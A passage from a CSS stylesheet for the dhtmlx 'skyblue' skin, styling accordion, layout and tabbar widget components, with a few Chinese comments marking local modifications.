#ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  overflow: hidden;\n  cursor: default;\n  z-index: 3;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr.dhx_cell_hdr_hidden {\n  border-width: 1px 0px 0px 0px;\n  height: 0px;\n  line-height: 0px;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr div.dhx_cell_hdr_text {\n  position: relative;\n  margin: 0px 26px 0px 5px;\n  overflow: hidden;\n  white-space: nowrap;\n  cursor: default;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_icon {\n  margin-left: 24px !important;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr img.dhx_cell_hdr_icon {\n  position: absolute;\n  top: 5px;\n  left: 4px;\n  width: 16px;\n  height: 16px;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr div.dhx_cell_hdr_arrow {\n  position: absolute;\n  top: 6px;\n  right: 4px;\n  width: 16px;\n  height: 16px;\n  background-image: url(\"imgs/dhxacc_skyblue/dhxacc_btns.gif\");\n  background-repeat: no-repeat;\n  background-position: 0px 0px;\n  overflow: hidden;\n  cursor: pointer;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc.dhx_cell_closed div.dhx_cell_hdr div.dhx_cell_hdr_arrow {\n  background-position: -16px 0px;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc.acc_cell_dragged {\n  box-shadow: 0 0 5px #a1a1a1;\n  z-index: 5 !important;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_def {\n  position: relative;\n  overflow: hidden;\n  border-width: 0px 1px 1px 1px;\n  border-color: #c3c3c3;\n  border-style: solid;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_no_borders {\n  position: relative;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_toolbar_def {\n  position: relative;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  border-top-width: 0px;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_ribbon_def div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue {\n  margin-top: -1px;\n  width: auto;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  border-top-width: 0px;\n  width: auto;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_statusbar_def {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  background-color: #eaeaea;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text {\n  position: relative;\n  padding: 0px 4px;\n  height: 21px;\n  line-height: 21px;\n  border-bottom: 1px solid #c3c3c3;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  white-space: nowrap;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_progress_bar {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  z-index: 5;\n  opacity: 0.75;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=75);\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  border: 1px solid #c3c3c3;\n  background-position: center 55%;\n  background-image: url(\"imgs/dhxacc_skyblue/dhxacc_cell_progress.gif\");\n  background-repeat: no-repeat;\n  cursor: progress;\n  z-index: 6;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_progress {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  z-index: 3;\n  opacity: 0.55;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=55);\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-image: url(\"imgs/dhxacc_skyblue/dhxacc_cell_progress.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  z-index: 4;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_hdr {\n  position: relative;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_ftr {\n  position: absolute;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_menu {\n  position: relative;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_toolbar {\n  position: relative;\n  background-color: #ebebeb;\n  padding-bottom: 4px;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_ribbon {\n  padding-bottom: 4px;\n  position: relative;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  width: auto;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_statusbar {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  background-color: #ebebeb;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar {\n  position: relative;\n  margin-top: 4px;\n  border: 1px solid #c3c3c3;\n  background-color: #eaeaea;\n  padding: 7px 6px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhxacc_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue {\n  background-color: #ebebeb;\n  position: relative;\n  cursor: default;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont {\n  position: absolute;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout {\n  position: absolute;\n  background-color: #ffffff;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  cursor: default;\n  z-index: 0;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_cover {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  margin: 0px;\n  padding: 0px;\n  font-size: 1px;\n  background-color: #ffffff;\n  overflow: hidden;\n  z-index: 1;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_cont_layout {\n  position: absolute;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n  border-top: 0px solid #ffffff;\n  overflow: hidden;\n  z-index: 0;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_cont_layout.dhx_cell_cont_no_borders {\n  border-width: 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_cont_layout,\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_cont_layout {\n  display: none;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr {\n  position: relative;\n  height: 27px;\n  line-height: 26px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #333333;\n  font-weight: bold;\n  /*修改::禁止选择文字*/\n  user-select: none;\n  -ms-user-select: none;\n  -moz-user-select: none;\n  -webkit-user-select: none;\n  border: 1px solid #c3c3c3;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  overflow: hidden;\n  cursor: default;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr.dhx_cell_hdr_hidden {\n  height: 0px;\n  line-height: 0px;\n  border-bottom-width: 0px;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr.dhx_cell_hdr_hidden_no_borders {\n  height: 0px;\n  line-height: 0px;\n  border-width: 0px;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhx_cell_hdr_text {\n  position: relative;\n  margin: 0px 26px 0px 5px;\n  overflow: hidden;\n  white-space: nowrap;\n  cursor: default;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow {\n  position: absolute;\n  right: 4px;\n  top: 6px;\n  width: 16px;\n  height: 16px;\n  background-image: url(\"imgs/dhxlayout_skyblue/dhxlayout_cell_btns.gif\");\n  background-repeat: no-repeat;\n  cursor: pointer;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_va {\n  background-position: -16px 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_vb {\n  background-position: -48px 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_ha {\n  background-position: -32px 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_hb {\n  background-position: 0px 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_hdr {\n  /*修改::LAYOUT伸缩后的高度::高度*/\n  /*height: 18px;*/\n  /*line-height: 17px;*/\n  height: 27px;\n  line-height: 26px;\n  color: #3b3b3b;\n  font-weight: bold;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_ha {\n  /*修改::LAYOUT伸缩后的高度::右边图标*/\n  /*background-position: 0px -5px;*/\n  background-position: 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_hb {\n  background-position: -32px -4px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr {\n  width: 18px;\n  background: -moz-linear-gradient(left, #ececec, #e5e5e5);\n  background: -webkit-linear-gradient(left, #ececec, #e5e5e5);\n  background: -o-linear-gradient(left, #ececec, #e5e5e5);\n  background: -ms-linear-gradient(left, #ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=1, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text {\n  position: absolute;\n  left: 3px;\n  bottom: 0px;\n  transform: rotate(270deg);\n  -ms-transform: rotate(270deg);\n  transform-origin: left center;\n  color: #3b3b3b;\n  font-weight: normal;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie6 {\n  left: -5px;\n  line-height: 17px;\n  padding-bottom: 10px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie6 span {\n  float: left;\n  filter: progid:DXImageTransform.Microsoft.Matrix(M11='6.123031769111886e-17', M12='1', M21='-1', M22='6.123031769111886e-17', sizingMethod='auto expand');\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie7 {\n  left: -5px;\n  line-height: 17px;\n  padding-bottom: 10px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie7 span {\n  float: left;\n  filter: progid:DXImageTransform.Microsoft.Matrix(M11='6.123031769111886e-17', M12='1', M21='-1', M22='6.123031769111886e-17', sizingMethod='auto expand');\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie8 {\n  left: -5px;\n  line-height: 17px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie8 span {\n  float: left;\n  filter: progid:DXImageTransform.Microsoft.Matrix(M11='6.123031769111886e-17', M12='1', M21='-1', M22='6.123031769111886e-17', sizingMethod='auto expand');\n  margin-bottom: 95%;\n  padding-right: 8px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie9 {\n  left: 0px;\n  line-height: 17px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_ie9 span {\n  float: left;\n  filter: none;\n  margin-bottom: 95%;\n  padding-right: 8px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhx_cell_hdr_text.dhx_cell_hdr_text_chrome {\n  left: 5px;\n  -webkit-transform: rotate(270deg);\n  -webkit-transform-origin: left center;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_va {\n  background-position: -45px 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_vb {\n  background-position: -13px 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep {\n  position: absolute;\n  background-color: #ebebeb;\n  font-size: 1px;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  background-repeat: no-repeat;\n  background-position: center center;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  -ms-touch-action: none;\n  touch-action: none;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep.dhxlayout_sep_resize_v {\n  cursor: w-resize;\n  background-image: url(\"imgs/dhxlayout_skyblue/dhxlayout_sep_v.gif\");\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep.dhxlayout_sep_resize_h {\n  cursor: n-resize;\n  background-image: url(\"imgs/dhxlayout_skyblue/dhxlayout_sep_h.gif\");\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep.dhxlayout_sep_resize_actv {\n  background-color: #dedede;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_resize_area {\n  position: absolute;\n  background-color: #c3c3c3;\n  opacity: 0.15;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=15);\n  z-index: 1;\n  border: 2px dashed black;\n  cursor: inherit;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_resize_sep {\n  position: absolute;\n  background-color: #c3c3c3;\n  overflow: hidden;\n  display: block;\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n  z-index: 2;\n  cursor: inherit;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_def {\n  position: relative;\n  overflow: hidden;\n  border-width: 0px 1px 1px 1px;\n  border-color: #c3c3c3;\n  border-style: solid;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_no_borders {\n  position: relative;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_toolbar_def {\n  position: relative;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  border-top-width: 0px;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_ribbon_def div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue {\n  margin-top: -1px;\n  width: auto;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  border-top-width: 0px;\n  width: auto;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_statusbar_def {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  background-color: #eaeaea;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text {\n  position: relative;\n  padding: 0px 4px;\n  height: 21px;\n  line-height: 21px;\n  border-bottom: 1px solid #c3c3c3;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  white-space: nowrap;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_progress_bar {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  z-index: 5;\n  opacity: 0.75;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=75);\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  border: 1px solid #c3c3c3;\n  background-position: center 55%;\n  background-image: url(\"imgs/dhxlayout_skyblue/dhxlayout_cell_progress.gif\");\n  background-repeat: no-repeat;\n  cursor: progress;\n  z-index: 6;\n}\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_statusbar_def,\n.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_statusbar_def {\n  display: none;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_progress {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  z-index: 3;\n  opacity: 0.55;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=55);\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-image: url(\"imgs/dhxlayout_skyblue/dhxlayout_cell_progress.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  z-index: 4;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_hdr {\n  position: relative;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_ftr {\n  position: absolute;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_menu {\n  position: relative;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_toolbar {\n  position: relative;\n  background-color: #ebebeb;\n  padding-bottom: 4px;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_ribbon {\n  padding-bottom: 4px;\n  position: relative;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  width: auto;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_statusbar {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  background-color: #ebebeb;\n  overflow: hidden;\n}\n.dhxlayout_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar {\n  position: relative;\n  margin-top: 4px;\n  border: 1px solid #c3c3c3;\n  background-color: #eaeaea;\n  padding: 7px 6px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\nbody.dhxlayout_resize_v * {\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  cursor: w-resize !important;\n}\nbody.dhxlayout_resize_h * {\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  cursor: n-resize !important;\n}\ndiv.dhxlayout_sep_sw_dhx_skyblue {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  width: 5px;\n  height: 1px;\n  font-size: 1px;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n}\n.dhxlayout_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue {\n  background-color: #ebebeb;\n  position: relative;\n  cursor: default;\n}\n.dhxtabbar_base_dhx_skyblue .dhxtabbar_cont {\n  position: absolute;\n  *overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs {\n  position: absolute;\n  bottom: auto;\n  height: 27px;\n  overflow: hidden;\n  white-space: nowrap;\n  border: 1px solid #c3c3c3;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  z-index: 2;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs {\n  top: auto;\n  bottom: 0px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base {\n  position: absolute;\n  top: 0px;\n  height: 27px;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_left,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_right {\n  position: absolute;\n  width: 5000px;\n  height: 27px;\n  margin: 0px 1px;\n  top: 0px;\n  -webkit-transform: translate3d(0px, 0px, 0px);\n  -moz-transform: translate3d(0px, 0px, 0px);\n  -ms-transform: translate3d(0px, 0px, 0px);\n  -o-transform: translate3d(0px, 0px, 0px);\n  transform: translate3d(0px, 0px, 0px);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_left.safari_517_fix,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_right.safari_517_fix,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_left.safari_517_fix div.dhxtabbar_tab,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_right.safari_517_fix div.dhxtabbar_tab {\n  -webkit-transform: none !important;\n  -moz-transform: none !important;\n  -ms-transform: none !important;\n  -o-transform: none !important;\n  transform: none !important;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_line {\n  position: absolute;\n  left: 0px;\n  bottom: 0px;\n  top: none;\n  width: 100%;\n  height: 3px;\n  overflow: hidden;\n  z-index: 2;\n  border-top: 1px solid #c3c3c3;\n  border-bottom: 0px solid white;\n  background-color: #e5e5e5;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_left {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 15px;\n  height: 100%;\n  background-color: #F1F1F1;\n  background: linear-gradient(#F1F1F1, #E5E5E5);\n  background: -webkit-linear-gradient(#F1F1F1, #E5E5E5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#F1F1F1, endColorStr=#E5E5E5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  cursor: pointer;\n  z-index: 4;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_left.dhxtabbar_tabs_ar_hidden {\n  display: none;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_left div.dhxtabbar_arrow_img {\n  position: relative;\n  height: 100%;\n  border-right: 1px solid #c3c3c3;\n  background-image: url(\"imgs/dhxtabbar_skyblue/dhxtabbar_arrows.gif\");\n  background-position: 0px 11px;\n  background-repeat: no-repeat;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_right {\n  position: absolute;\n  right: 0px;\n  top: 0px;\n  width: 15px;\n  height: 100%;\n  background-color: #F1F1F1;\n  background: linear-gradient(#F1F1F1, #E5E5E5);\n  background: -webkit-linear-gradient(#F1F1F1, #E5E5E5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#F1F1F1, endColorStr=#E5E5E5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  cursor: pointer;\n  z-index: 4;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_right.dhxtabbar_tabs_ar_hidden {\n  display: none;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_right 